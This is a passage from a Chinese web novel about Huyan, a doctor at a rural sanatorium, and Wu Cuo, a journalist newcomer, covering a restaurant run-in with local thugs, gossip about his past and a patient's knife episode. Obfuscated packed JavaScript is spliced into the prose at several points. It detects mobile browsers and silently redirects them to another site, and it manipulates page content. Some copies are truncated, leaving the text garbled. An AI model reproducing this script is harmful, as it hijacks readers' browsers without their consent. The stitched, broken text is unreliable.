刘敏秀只望了吴措一眼,视线就转回到呼延身上,“是呼延啊。宋医生没和你一起?” “没,他们今天都在小院,我出来采个药。”呼延语气客客气气的,她把布袋子递给刘敏秀,“天仙配,和以前一样,再加个大份豆腐锅贴。” 刘敏秀打开袋子口往里瞅了眼,“借着采药出来偷吃是吧,下回遇到宋医生我得告诉她。” 呼延“哎呀”了一声,“刘姐肯定帮我瞒着的。” 刘敏秀提着袋子进了后厨,呼延下意识回头看了吴措一眼,发现他表情如常,丝毫没有前一天在这经历过剑拔弩张画面后的尴尬样。 这强大的心理素质。 两人找了个靠窗的位置坐下,呼延没话找话,“你昨天晚上来,和刘姐说什么了?” “没说什么。”吴措用热水将不是一次性的碗筷全烫了遍。 “没说什么刘姐不赶你?”呼延刚才琢磨了下,越琢磨越觉得没这么简单,声音压低了点,“就算你钱付上了,昨天经了那么一档子事,按刘姐的脾气肯定不会再给你好脸色看的,她那么好面子一人。” 话没说两句,刘敏秀从后厨先把锅贴端上来了,呼延立马噤声,装着很忙的样子,给自己倒了杯水一口吞下去,结果那水烫得很,她眼泪差点被烫出来,但又不敢叫唤,硬生生咽了下去。 吴措抬眼瞟了她一眼,“杯子都不烫一下。” 呼延不以为然,等刘敏秀走后吐了下舌头凉热气,“这不是挺干净的么。唉你转移话题是吧?”呼延反应过来。 “这样吧,你和我说,我也给你交换个秘密。”呼延冲他挑挑眉。 “不感兴趣。”吴措说。 呼延嘴角一挑,“小黄豆是刘姐的儿子。” 确实挺出乎意料。 但吴措仔细回忆了下,不知道是不是心理因素,小黄豆的嘴巴鼻子似乎真的和刘敏秀有六七分像,只不过他之前完全没有把这两人联系到一块去。 吴措瞥了她一眼,“强买强卖啊。况且这算什么秘密。” 呼延耸耸肩膀,“你不知道的就算秘密。现在轮到你了,说吧。” 他还真没说什么。 前一天吴措从小院出来又去到刘敏秀这儿的时候,看到刘敏秀的饭馆是关着门的。 刚准备走刘敏秀正好开着个面包车回来了,一下车整个人一脸疲态,两只眼睛空洞无神,吴措叫了两声她才听到。 刘敏秀没对吴措有多余的表情,等吴措跟着进屋,扫了墙上的码把钱转过去后,刘敏秀才后知后觉回头看了他一眼。 吴措说了句,疲劳驾驶很危险,休息会吧。 刘敏秀看着他愣了半秒神,没说话,转了身走了。 不过这故事太无聊了,吴措慢吞吞倒掉烫碗筷的水,抬了抬眼,“我就说我是小院的志愿者,老板看宋院长的面子,说要给我免单,我还是把钱转过去了,老板说我是个心地善良的大好人,让我以后常来。事情就是这样。” 听到前半段的时候,呼延还觉得这说法挺靠谱,村里人多多少少都是被宋殊行过方便的,毕竟不管再怎么健康强壮的人,一年到头总能碰上个大病小伤的,宋殊给人看病都按最便宜最有效的法子治。 小院里的人都沾着宋殊的光,出了门认识的都能照应点。 但吴措说到什么“心地善良”的时候,呼延白眼又翻起来了,“你不吹能死吗?” 吴措低着头一笑,“这不是你问我的么,说实话你还不满意。” “你这是实话——嘶——”呼延话说到半截,被入口的锅贴烫了一下。 她早上吃得匆忙,半天又是爬山又是采药的又累又饿,这会儿吃得急,一口咬下去烫了嘴,锅贴里的汁水滋出去溅到了她的裤子上,她拿了张纸巾随手擦了下,不管不顾,继续吃。 吴措见她这样,脑袋一偏,看着她,“是女孩子么,吃得浑身都是。” 呼延想都没想回呛,“女孩嘴长得比较大还是怎么样,还有规定女孩得怎么吃才行是吧。” 吴措:“得,我说错了行了吧。” “‘行了’,没有‘吧’。”呼延抬了一下眼纠正他,“行了就行了,不行就是不行,要认错就端正态度。” “好。我说错了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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吴措给自己舀了碗汤,随口说了句:“那他叫你什么。” 呼延:“谁?” 吴措:“你男朋友。” 呼延吃肉的动作顿了下,很快又继续,“关你屁事!” “就问两句,”吴措说,“脾气说来就来。” 吴措汤匙舀起一块肉,放在眼前观察了片刻,“蛇肉?” 呼延眨了眨眼,她还真是小瞧吴措了。 不过她本来也是想说的,谁让吴措老惹她,她这会儿就是想看着吴措吃下去后再告诉他,再看他一大口哇啦吐出来的样子指着他的鼻子出嘲笑。 ——以前看封筝这么霍霍八哥的时候她还觉得封筝挺损,但要放在吴措身上,这可真是,太!适!合!了! “是啊,你不敢吃吧?没事,不敢就算了,我不会告诉封筝他们的,毕竟像你这种养尊处优的大少爷,会害怕这种东西也不奇怪。”呼延悠哉瞧着他,带着嚣张的气势。 吴措拿着汤匙晃了晃,“激将法啊。” “是又怎样。”呼延直接承认。 “那你算盘打错了。”吴措直接舀起一大块放进嘴里,“这世界上还没有我不敢吃的东西。” 吴措虽然话这么说,但呼延明显看到在蛇肉进嘴的那一刻,吴措眼神中挣扎的样子,她生怕错过细节,放下自己的碗筷,直勾勾盯着他看。 “怎么样?味道还可以吧,这是刘姐的家乡菜,刘姐湘南人,天仙配,湘南花鼓戏,知道吧。”说着直接唱起来,“树上滴鸟儿成双对,绿水青山带笑颜……” 吴措:“……” 他碗里就只下去一块肉,呼延立马给他舀着添满了,“你吞得这么快干嘛?细嚼慢咽才能品出好味道,来,再来一口。” 吴措:“……” 呼延见他这样子,心里爽得快飞起来了,“你脸色怎么不太好,是不喜欢吗?还是害怕,没事的——” “呕——” 吴措捂着嘴,飞快跑了出去。 呼延在屋里哈哈大笑,笑完了自己乐滋滋吃起汤肉来。谁让他在她被鸟粪光顾的时候在她旁边犯贱吃桃金娘了,活该。 吴措跑到门口,装模作样干呕了两声。 他当然不怕蛇肉,以前他去深山里头的古村作采访,跟着村民一起吃过的奇葩玩意儿比这难为人多了。 不过呼延希望他“吐”,他就“吐”吧,谁让他这回真惹姑奶奶生气了呢,配合她漏洞百出的剧本,算是他向她赔礼的方式。 吴措“吐”完靠着墙边站了会儿,透过窗户看着呼延在里头不知道给谁打电话呢,乐得不行,肩膀一抖一抖的。 呼延长了对笑眼,笑起来的时候眼睛眯起来,眼底下挤出两道浅浅的小坑,像猫科动物的胡须。 吴措站在窗边欣赏了阵子,备好情绪准备回屋,还没挪动脚步,三个人从街对面走过来,迈着大步子挤到了他前面,不由分说走进去就开始嚷嚷。 8. 没品 “老板?老板呢?刘敏秀?” 三人当中一个中等个子瘦得像猴的男人嚷嚷着刘敏秀的名字,刘敏秀过了会儿才从后厨走出来,手里拿着把菜刀,边缘上还沾着不知道是什么动物的血。 “要干嘛。”刘敏秀说。 刘敏秀横眉竖眼的气势一点不输三个男人,瘦猴见刘敏秀拿着菜刀出来,往后撤了半步,站在了中心位平头男人身后。 平头男人手里盘着个带着大貔貅的黑珠子手串,开口流里流气,“来饭馆还能干嘛,当然是来吃饭啊刘姐。” 刘敏秀攥着菜刀,“你们到底想干嘛,兔子急了也是会咬人的我告诉你们,横竖光脚的不怕穿鞋的。” 平头男人一笑,手里盘着的大貔貅停了下,“刘姐说这话就太生分了,什么光脚的穿鞋的?这不都穿鞋穿得好好的。真就是来吃顿饭。” 说着三个人走到靠窗户的桌子坐了下来,平头问:“天仙配,今天有吧?” 刘敏秀冷脸,“没有。” “那她吃的是什么?”瘦猴往呼延桌子上一指。 呼延没想到还有自己的事,她看了眼三个人,视线落在平头身上一秒,又转到自己面前的肉汤上,舀了满满一大勺,吃得咯吱咯吱的。 刘敏秀说:“她自己带的肉,我这的规矩,想吃自己带肉。不带就出去。” “还真给你脸了。”另一个黄毛一拍桌子。 平头一脚踹黄毛身上,黄毛顿时从椅子上飞出去摔在地上,疼得龇牙咧嘴愣是咬着牙没敢叫出声,平头冲他一瞪,“他妈的老子就想吃个肉,你他妈嚷嚷什么。” 又朝瘦猴道:“买肉去。” 瘦猴吞了下口水,站起来,“上、上哪买。” “瞎还是没长嘴。”平头脸一直半冷不邪的,说完朝着呼延又看过去,“妹妹,你这肉哪买的。” 呼延舀着汤往嘴里送,也不抬头,“谁你妹。” 平头哼笑了声,“说话这么不客气。”他又偏偏头仔细看了呼延一眼,“我怎么觉着你有点眼熟?咱俩之前是不见过。” 呼延咬着肉冷哼一声,抬眼盯着平头,还没张口,刘敏秀先说了话,“这是宋医生家的,王贲你说话注意点。” 叫王贲的听着刘敏秀说是宋医生家的,笑脸一下子敛住一半,从头到脚又扫了呼延一遍,一边嘴角提起来,“桃花小院的啊,哦,姓呼延的那个是吧。” 呼延冷眼瞟过去。 王贲从座位上起身,一手插在兜里慢悠悠走近,“我最近太阳穴一直跳,呼延医生帮我检查检查我是不是哪里出了问题啊。” “不需要检查,”呼延汤匙搅着肉汤说,慢悠悠说,“可以确诊脑瘫,需要开瓢,治吗?” 黄毛三两步走过去指着呼延,“你这脑子有病的小娘们儿说什么呢你。” 这回王贲没拦着,黄毛的手扒着呼延的桌沿就要掀起来,这时一侧突然出现一只纤长的手摁住了另一个桌角。 呼延抬头,看到吴措一手摁住桌子,一手举着手机朝向王贲三人。 她朝着汤匙吹了口气,啜下一小口汤,慢吞吞咂了下嘴。 “干嘛去了,吐那么久。”呼延语气透着不满意。 他朝呼延说:“这不是头一回吃么,少爷胃,担待点。” 王贲看他俩一人一句,揉了揉肩膀,“这又是哪个?以前没见过。” 吴措回过头来看着王贲,这人穿着件带巨大金色“BOY”logo的衬衫,脖子上挂着个挺粗的金链子,三角眼高颧骨,年纪看着不大但有很明显的抬头纹,打量人的眼神里透着锋利的攻击性。 “吴措。”吴措说,他转了椅子对着王贲,唇角稍抬起来,“前一天刚到桃花小院。” 王贲笑了,三角眼眯成一道缝,“也是个有病的啊。” 呼延勺子碰了下碗壁,弄出了些动静,“嘴巴放干净点。” 王贲冷笑一声,眼神里戾气明显重了,放在桌子上的胳膊拿了下来,吴措看着王贲的动作,不动声色地挪动一下挡住了呼延。 余光中,吴措看到呼延的手握着拳头在桌上轻轻敲着,像是随时准备发起攻击的小狮子。 王贲瞄向吴措手里举着的手机,冷哼了下,“这什么意思,录像啊。你知道我是谁吗?” “知道。”吴措说,“脑瘫患者,做一下病发记录不违法吧。” 呼延噗嗤笑了出来,这厮嘴也太缺德了。 这回缺得好。 “敬酒不吃吃罚酒。”王贲眼睛一眯,身后两个跟班紧跟着凑过来,瘦猴举起了旁边的凳子。 “天仙配过几天来吃,今天没有。”刘敏秀往前走了几步,走到王贲面前,她抬头眼神示意了下店里的摄像头,“别在我这惹事,我现在没什么顾忌了。” 也许是刘敏秀哪个词提示到了王贲,也许是王贲真的顾忌头顶的摄像头,他偏偏头示意瘦猴两人停手,抬手拨开了吴措的手机,冷冷一笑,“英雄救美是吧,行,成全你,我记着你了。” 王贲看向刘敏秀,“今天给刘老板一个面子,下次该准备的准备好,我准时过来。” 说完又往呼延两人身上看了几眼,最后带着黄毛和瘦猴离开了。 刘敏秀盯着三人的背影看了许久,转身回来后,对呼延两人说:“我这儿有点事,你们先回去吧。今天饭没让你们吃好,就当我请了,下次来再给你们做天仙配。” 呼延看了眼吴措,又看了眼刘敏秀,说:“那行,刘姐你先忙吧。” 吴措的视线却落在刘敏秀身上看了一会儿。 他本能地觉得刘敏秀身上此刻带着一种很怪异的平静,像是一种暴风雨之前的平静。 但没等他再继续观察下去,就被呼延扯着胳膊拉出了店。 呼延一边拽着吴措,一边小声说:“你不会是没吃饱想打包吧。” 走出门口后,呼延又叹了口气,“其实我也想打包,那天仙配我吃一顿有多不容易你知道么。但刘姐都给免单了,还能说什么呢。” 吴措没接她的话,呼延偏头看了看他,“你想什么呢,不会真想回去打包吧!” 吴措收回视线。 他又想起了第一次来刘敏秀这里吃饭后来付账的那天,看到刘敏秀的眼神,那种近乎绝望的疲惫。 两个状态联系到一起,吴措总觉得好像有什么事情要发生。 不过他的第六感并没有那么可靠,以前跟新闻的时候碰上有人投稿曝光,他循着细枝末节调查了一番,以为是个什么牵涉甚广的大案子,结果只是当事人想借着他们的手去查被她老公藏起来的小三。 默了片刻,吴措说:“不是说好我请客么,你原料钱都付了,现在不成了我占你便宜了?” 呼延哼了一声,“那肯定不能便宜了你,你这顿先记着,后面双倍还我。” “高利贷也没你这么翻利息的吧。”吴措笑了声。 呼延看着吴措,咂了咂嘴,又说:“不过看在你今天还算像是个男的的份上,利息就先不给你算了。” 吴措歪了歪头,“好好的又开始骂人,什么叫还算像是个男的。” “这回真是褒义。”她又顿了顿,“不过也没那么褒,你这人也太莽了,知道刚才那人是谁么,就乱出头。” 吴措反应过来她说的是王贲。 心里又说,谁有她莽啊,那刺儿都快戳人身上了。 “谁啊?”吴措语气随意一问,“听这话呼延医生很熟?” 呼延冷哼一声,“我和那种人熟?你故意恶心我的吧。” “行,我用词不当。”吴措换了个说法。“呼延医生认识那个叫王贲的?” 呼延晃着草药筐,“不认识。” 吴措:“不认识你说话这么呛。” “你看我和你说话客气么?”呼延乜他一眼。 吴措:“这不一样。” “哪不一样。”呼延冷起脸,“都不是什么好人。” 吴措低眉一笑,“还说不认识。” 呼延还是那句话,“不认识就是不认识。” 吴措也见好就收,“行,你不认识,那我就不问了。” 他停了下,视线又扫了呼延一眼,“你这脾气,你男朋友收了你真是造福人类。” 呼延脚步忽然停了下来,“什么毛病啊,一天了老提我男朋友,你对我男朋友感兴趣啊。” 吴措耸耸肩,“表示一下尊敬。” 呼延甩了他一眼,脚下突然加速,“收回不要利息的话,你现在请我吃饭也没用了。” 一提就恼,这么在意么,对这位男朋友。 吴措溜溜达达跟上,“临时加价啊。” “让你请客是打算原谅你的价钱,”呼延走得飞快,声音里带着喘气声,“现在我不打算原谅你了,所以这是另外的价钱。” 吴措手里攥着药筐带子甩肩膀上,“那现在又是什么价钱?” 呼延一停,拧着眉头冲他眼睛一眯,“无价!” 说完把药筐从肩膀上取下来,抱着往小院的方向跑起来。 从刘敏秀饭馆到小院,正经走也就是一两百米的路,没等着吴措有机会哄,迎面就碰上出来迎人的封筝和小黄豆了。吴措把到嘴的话咽了下去。 呼延也切换了凶神恶煞的表情,丝滑地变成温柔大姐的样儿,走过去蹲到小黄豆身前,“小黄豆怎么在这站着啊。” 小黄豆眼神晃动着,不说话,忽然抓住呼延的手,往她手里塞了根胡萝卜。 呼延愣了下,但很快懂了小黄豆的意思。 小黄豆一直不爱吃蔬菜,宋殊为了让他什么都吃点,就告诉他蔬菜里有维生素,维生素是维持生命的东西,不吃蔬菜就会死掉。 大概是早上看到呼延对着空气发疯的样子,小黄豆以为呼延要死了,所以坚决地要给她补充一下生命必备能量。 封筝在旁边无奈道:“中午饭也不吃,就说要等真真姐姐,给真真姐姐吃胡萝卜。这胡萝卜是孙姨做菜用的,和他抢他还和我急,没办法了,我就陪着他在这等着了。” 呼延无声地叹了口气,接过小黄豆的胡萝卜,嘎嘣咬了一口,“好吃!真真姐姐现在又满血复活了!小黄豆快去吃饭吧!”说完又冲封筝皱了皱鼻子,“怎么不给我打电话呢。” 封筝肩膀一耸,“我说姐姐,我打电话你也得接啊,刚才打了好几个你没收到?” 呼延忽然才想起来,“不好意思哈,刚才打语音呢,就给挂了,我的错我的错。小黄豆怎么不去吃饭?” 呼延看到小黄豆的眼神看向站在她身后的吴措,“不用管他,他吃不惯我们的饭。来,姐姐带你去餐厅陪你吃好不好?” 说着呼延带着小黄豆离开,封筝看着呼延的背影,嘴巴张合两下,但也没有再说出什么来。 “筝姐,打听个事。” 吴措的声音响起,封筝回头,“什么事?” “你们这以前是不是有记者来过?而且和呼延有过什么不愉快?”吴措单刀直入。 他一直在琢磨呼延为什么从始至终对他这么大意见,如果是“霸王餐”那事,他解释过了也应该过去了,但呼延和他说话的时候还是带着刺。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“说回这个记者,后来我们才知道这人来的当天就在小院安了十几个隐藏摄像头。还是小黄豆发现的,他在草丛里抓蚂蚱,抓出个摄像头。顺着查,发现很多病人病房里也放着摄像头。” “病房里?” 真够给记者丢人的。 封筝“昂”了声,“睡觉的地方啊,不说病情隐私,就是个人隐私也都被拍了去了。还好不幸中的万幸,摄像头不是联网的,那人还没来得及拿走录像就被院长收起来了。不过——” 封筝忽然笑了声,带了点无奈的情绪。 吴措抬眉。 封筝:“呼延知道这事后,在警察过来之前把这记者揍了一顿。” 吴措没忍住,“……呼延?” “是啊,别看她个子不大,打人可疼。那记者一米八个子,被她揍得抱着脑袋往街上跑。” 吴措忽然觉得身上有些幻痛。 这么说起来,呼延没揍他,已经算是他幸运的了。 “不过也是因为这个,那记者去做伤情鉴定,一口咬定自己脑震荡,威胁院长不准把录像交出去,不然就去告呼延,最后闹了一通也只能和解了。” 封筝想起来这事,还有点语气忿忿,“但这记者回去后就歪曲事实写了篇稿子,把我们小院从头到尾痛批了一遍,呼延看了文章又想去找那记者,被院长拦住了。后来文章因为编造事实被下架了,但对小院影响不小,那段时间大部分病人都走了,最后剩下的,和后来再来的,基本上都是熟人介绍过来的了。” 吴措猜过一些可能性,但没想到最后真相会这么鸡飞狗跳。 但如果是放在了呼延身上,又好像很合理。 不过他现在完全理解呼延对“记者”这一行业的人有看法,厌恶、甚至憎恨都是正常的。 这也解释了当时第一次见面误以为他吃霸王餐后,呼延听到他说自己是记者的时候,那句意味深长的“记者啊”的话了。 “谢谢。”吴措说,“这些就足够了。” “你们去吃天仙配了?”封筝忽然说。 吴措:“怎么看出来的?” 封筝一抬下巴:“中午不是在外头吃的么,这旁边还有几家馆子啊。蛇肉性寒,呼延不能多吃,平常院长看着她吃不了,好不容易逮着机会了不得狠吃一顿。” 看她吃得那么开心的样子,看来也不完全是整到他后的高兴。吴措提着草药筐晃悠了下。 “不过你也别告诉院长。”封筝说,“呼延自己也是医生,知道节制,一个月也就开这么一顿荤。下回要是再拉着你去,你就告诉我就行。” 下回。 也不知道还有没有下回。他现在还有必要在这待下去吗? “再打听个事儿。” 封筝刚要走,吴措又把她喊住。 “呼延的男朋友,是什么情况你了解吗?”吴措说。 封筝听着这个问题,背一下子挺直了,她看着吴措的眼睛,认真想了片刻,问他:“你在这待多久?” 虽然不知道他在这待多久和呼延的男朋友是谁这两件事有什么关联,但吴措还是答了,“看情况吧。” “一个月?两个月?”封筝又问。 “差不多。”吴措说。 他的确是带着目的来的,受人所托。 先前被事绊住了脚,终于能抽身过来的时候,已经过去四年了。 四年,发生了什么意外都不是意外。 包括呼延现在有了新男朋友。 况且看起来呼延已经完全忘记了以前的事,那他在这充当什么大尾巴狼,真像是要挖墙脚似的。 封筝说:“那就没必要和你聊。呼延怎么说就是什么,你别瞎打听了,也别对呼延动别的心思。” 吴措笑了,“放心,动不了。不是我喜欢的类型。” 但封筝表情很认真,没平时开玩笑的模样,“我说认真的,别招惹呼延。” 吴措说:“我也认真的。” 他没那么没品,招惹朋友的女朋友。 9. 负分 桃花小院相对其他疗养院要自由一些,有行为能力且没有伤害性行为的病人平时都可以自由活动。用餐上也没有一顿饭必须一个苹果一碗稀粥这种固定菜谱,做什么全看当天采购了什么菜。 呼延带着小黄豆去吃饭,桌子上还有一大盘留好的土豆红烧排骨和卤鸡肉,都是呼延爱吃的,刚吃饱的肚子又叫起来了,估量了一下够小黄豆的饭量,呼延拿了个馒头准备再犒劳自己一顿。 这个时候从后面进来个人,叫了声呼延的名字,呼延一回头,看到正是刘敏秀——小黄豆的妈妈。 不过小黄豆看起来和刘敏秀还没和呼延熟络,刘敏秀进来后,小黄豆还往呼延旁边靠了靠。 刘敏秀脸上没什么情绪,她把拎在手里的帆布包放到桌子上,包打开,里面是三四个保鲜饭盒。 “做了点他爱吃的,”她把最上面一盒打开,饭盒里一半的蒜薹炒杏鲍菇,一半的饺子,大概是羊肉馅,“剩下的麻烦你放冰箱里,有时间了就给他热一顿。” 小黄豆不声不响地夹了一筷子饺子放进嘴里,嚼得比方才快了些。 “嗯,我一会儿就拿厨房去。”呼延说。 刘敏秀盯着小黄豆吃了三四个饺子,从桌上拿起了帆布包,“我那还有事,就先走了。小黄豆就麻烦你了。” “应该的。” 不知道是不是呼延的错觉,她感觉刘敏秀走得比平常要慢些。刘敏秀一周来看小黄豆一次,每次不说什么话,就像这次一样,放下东西就走。 小黄豆的情况本来就特殊,时间久了和他这个亲妈关系看起来就越来越疏远了。 “刘姐。”呼延忽然叫住了刘敏秀。 刘敏秀停下来,转过身。 “我得和你说一下,上午我带小黄豆出去,他又发病了。”呼延说,“这事是我的责任,一个人把他带出去了。不过回来以后宋医生检查过,现在没事了。” 刘敏秀又看了眼小黄豆,小黄豆正专心吃着饭盒里的羊肉饺子,已经不理会原来桌上的菜了。他似乎感知到什么,抬头和刘敏秀对视了一眼,但只盯了半秒,又把视线放回饺子上。 刘敏秀把手里的帆布包折了两下,两手交叠着放在身前,“你比我知道怎么对他好,我没资格怪罪你。” “走了。”刘敏秀冲她摆了摆手,脚步迈出离开了小院。 呼延轻吸了口气,转身坐回餐桌,胳膊支在桌子上托腮看着小黄豆。 小黄豆算是呼延捡回来的。 四年前呼延来桃源村前,刘敏秀的饭馆就在这开起来了。 她后来听宋殊讲过,刘敏秀娘家就是桃源村的,后来嫁到镇上去了,当年可谓相当风光。 刘敏秀丈夫是开养殖厂的,年收百万起步,嫁出去的时候迈巴赫当头车,黄金首饰挂满了两条胳膊。 第二年就生了小黄豆,三岁前小黄豆的自闭症症状还没显化,是标准的幸福三口之家。 不过这样的好日子没过几年,没多久刘敏秀丈夫养殖厂倒闭关门,欠了一屁股债后从桥上跳下来人走了,刘敏秀再次回到桃源村开了这家餐馆。 但餐馆开业的第一天,就有要账的卡着点上门闹事,请了三五个小流氓,把桌子椅子掀了个干净。 那时候刘敏秀还没现在那么壮实,哭着求他们别砸,钱她会慢慢还上来。 那天现场乱得很,有人吓得往外跑,有人冲进门劝架,没人注意到小黄豆受到刺激跑了出去。 那是呼延来到桃源村的第三天,她在院子里远远听到了动静跑出来看,就在路边捡到了自闭症发作,站在马路中央尖叫的小黄豆。 这一捡,再一恍眼就是四年过去了。 呼延看着小黄豆吃得嘴鼓鼓的侧脸,觉得自己还挺牛的。 她自己没兄弟姐妹,把小黄豆当作弟弟养着,一眨眼都养这么大了。 小黄豆始终没看她,他的世界自成一格,谁都参与不进去。 这么几秒钟后,他忽然停下了咀嚼的动作,然后举着筷子,把最后一个饺子夹给了呼延。 仍然没看她。 呼延没拒绝,她把饺子吃了,也没再吃别的,撑着胳膊坐在那看着小黄豆吃完了剩下的饭。 他们午饭吃得晚,吃完了呼延送小黄豆去睡午觉,自己开始在小院里溜达。 吴措今天算是小院正式工作第一天,按理说应该有人带他在小院转一圈熟悉熟悉业务的,但宋殊那一直没什么动静。 呼延也不好上赶着去打听,看着跟她对人感兴趣似的。 实际上她还真挺感兴趣,不知道吴措这种一看就没吃过什么苦的,能在这里待上几天。 呼延溜达了一圈没碰上吴措,倒是在洗衣房门口碰上了封筝。 “没去查房啊。”呼延拿着根牙签,剔着牙朝封筝走过去。 封筝把一篓子脏衣服放进洗烘机里,抬眼看了呼延一下,“瞅你这样子跟小流氓似的。在陆离面前你也这样啊。” “我怎么样他都喜欢。”呼延晃了下脑袋,又说,“他现在不是不在么。” 封筝说:“八哥带着吴措去了,熟悉一下工作环境。” 果然是这样,呼延心里想着,一会儿得过去围观一下。 她忽然想起来件事儿,“你早上干嘛去了,还以为你和我一起去山上呢,结果是那个瘟神,你知道我……”呼延本来想说鸟粪的事儿,说到一半又觉得实在丢面儿,憋了回去,“算了,不说了。” 封筝一边按着机器按钮,笑了声,“怎么了?发生什么精彩的故事了,说出来让我乐呵乐呵。” 呼延抱着胳膊倚门框上,“不想说他。” “不想说吴措?那我打听到的事到底是说还是不说?”封筝弄完衣服,回过头来看着呼延吊她胃口。 听着这话呼延从门框上起来站直了,紧接着发现自己反应太大了,又倚了回去,“找谁打听了。” “我在枥城不是有个做编辑的朋友么,她在媒体圈认识一些人。”封筝说。 呼延眼睛一转,“吴措和媒体圈有什么关系。” 封筝说:“吴措是记者这个事你知道吗?” “这个不是我和你说的么。”呼延说,瞬间没兴趣了,“打听半天就这个啊。” 封筝啧了一声,“别急啊。我一开始听这个名就觉得熟,感觉在哪见过似的,他这名挺怪的,我总觉着应该是什么时候在新闻上见到过。” “这瘟神不会是什么隐姓埋名来这儿微服私访的大明星吧?”呼延脖子往后缩了下,说完了自己都不信。 平心而论,吴措长得的确不错,鼻子是鼻子眼是眼的,比现在一些不知道怎么就火起来了的小鲜肉看着顺眼。 但她还是觉得这说法不靠谱,哪有大明星像吴措这么嘴贱的,不早就被封杀了。 封筝说:“前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14432197|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几年有个挺著名的黑矿煤老板的事儿你记得吗?” 呼延摇头。 封筝:“你2G网不知道也不奇怪。这个事儿就是吴措报道出来的。” 呼延嘴张大了点,“这瘟神、”说半截改了口,“这人,还真干了些人事的啊。” 封筝紧接着又说:“你知道吴措和这煤老板什么关系吗?” 呼延想起吴措说的,自己没妈这句话,她试探说:“他妈不会是在黑煤矿上死的吧。” “哦这个我倒没打听出来。”封筝说,一点没停顿,“不过煤老板是吴措的爹。” “我靠。”呼延没忍住,“你这料爆的,一点铺垫都没有。” 呼延回忆着吴措的样儿,从第一面到现在,行为举止,吃穿用度,她想过他应该是什么从小就衣食无忧的有钱小孩,但没想到他会有钱到这种程度。 “家里真有矿啊。”呼延说。 她先前还调侃他花500块吃饭,跟家里有矿似的呢,没想到人家家里真有。 封筝又说:“现在没了,矿充公了,爹进去了。” “我靠。”呼延又没忍住。 封筝:“是吧?我当时看了新闻也是这么说的。我靠,大义灭亲啊。印象太深刻了,再加上这名真的挺怪就记住了。但也怕有重名的,就去问朋友确认了下,结果还真是他。” 想了想,封筝又补充:“不过他现在其实不算记者了,自己单干,算是个自媒体人。” 呼延消化了下信息量,她现在又有新的疑惑了,那吴措来这干嘛呢。 他这种狠一狠都能举报自己亲爹的,来他们这小破地方消遣生活?不会是来这做好事替他爹赎罪的吧,不过他举都举报了哪还有这父慈子孝的品德…… 呼延想了一圈也没想明白,转头又看向封筝,“你早上那会儿就是和他聊这个了?还以为说我坏话呢。” 封筝拿手指头轻戳了下她肩膀,“你有什么坏话讲,一顿饭吃五个包子的事吗?” 呼延“哼”了她一下,“你最好是!那你还一看到我就跟看到鬼似的心虚干嘛?” 封筝无语道:“你是没照镜子看到自己脸上要杀人的表情。是个人看了都怕好么?” “他就没怕。”呼延说。 “谁啊。吴措啊。”封筝说。 吴措不仅不怕她,甚至还有心思调侃她椅子缝里有瓜子皮。真是笑话,一个大男人搞这么龟毛才奇怪好吧。 不过联想到封筝方才说的也就没那么奇怪了。估计小时候保姆管家收拾得干干净净的,所以才给惯得这么洁癖。 说到底还是个公子哥。 呼延也不愿再聊了,“走了走了,以后有什么关于吴措的新情报及时更新。” “感兴趣啊。”封筝揶揄,“啧啧啧,大事不妙。这小哥看起来可不像是好把控的那种。” 呼延翻白眼,“少来。这叫知己知彼。早晚让他知难而退。” “还以为你已经接受他了。”封筝说。 “接受他?”呼延呵了声,“他现在顶多是从负100分到了0分而已,离60分还远着呢。” 封筝笑着道:“这么快就加了100分了,我看离正100分也不远了。” “唉你抠字眼是吧?”呼延说。 “——呼延!!” 正说着话,走廊里从远到近传来八哥焦急着呼哧带喊的声音。 10. 半仙 “怎么会被他拿到刀?谁拿过去的?”呼延快步跑着往张清驰的病房里赶。 “孙姨。”八哥说,他紧跟着呼延的脚步,“老张说要吃苹果,孙姨拿了两个,给了老张一个,自己在旁边拿水果刀给另一个削皮,老张忽然发病,把刀抢过去了。跟以前一样,谁都不让靠近,院长让喊你过去。” 又是孙姨。 上次张清弛发病也是她在旁边,也不知道说了什么话刺激到了老张,从那往后宋殊已经明令禁止不准她去老张的病房,挡不住她隔三差五还是偷偷往那跑。 封筝跟在后面又安抚了句,“听这样子是没伤着人,也不是第一次发生了,都有应急措施。先别急,看看情况再说。” 谁都知道急也没用,但没见到现场情况谁心里也都还是悬着,包括八哥,他出来喊人这半分钟,都不敢打包票病房里乱成什么样子了。 精神疾病发病这种事情是任何人都无法控制和预知的,医生不行,警察不行,病人本人也不行。 张清驰的病房在C栋的三楼,这栋楼一共四个房间,空着一个,其他三个住着的都是张清驰这样患有精神类疾病的患者。 经常一个发病,其他两个就跟着一道发作。安抚好一个,得挨个去安抚剩下两个。 果不其然,刚走到楼下的时候,呼延就听到从楼梯里传出来此起彼伏的尖叫声。 二楼的几个病人站在护栏门口看热闹,被八哥扒开了,“快快快回去,这有什么好看的。” 三个人侧身挤进去又立马把护栏上了锁,到张清驰房间的时候,吴措正站在门口,不算里也不算外的地方,手里拿着个记录的本子,眉头紧锁看着里面。 吴措是在和八哥一起在隔壁查房的时候听到张清驰这里的动静的,当时他在给302的病人做康复测试,就听到隔壁一道尖叫声,八哥闷喊一声“完了”,放下手里东西冲了出去。 他跟着赶过去的时候就看到了这个画面,张清驰拿着水果刀指向孙凤娇,孙凤娇捂着嘴不敢往后退也不敢往前走。 吴措下意识就要上前迈步,被八哥拦了回来,他说,你先别动在这看着,我去叫呼延。 吴措当下以为自己听错了,去叫呼延,不是去叫院长。 虽然宋殊在一分钟内也赶了过来,但他仍旧无法忽略八哥的那句话。 去叫呼延。 “老张!你又不听话!”呼延自带风势地就这么直剌剌冲了进来。 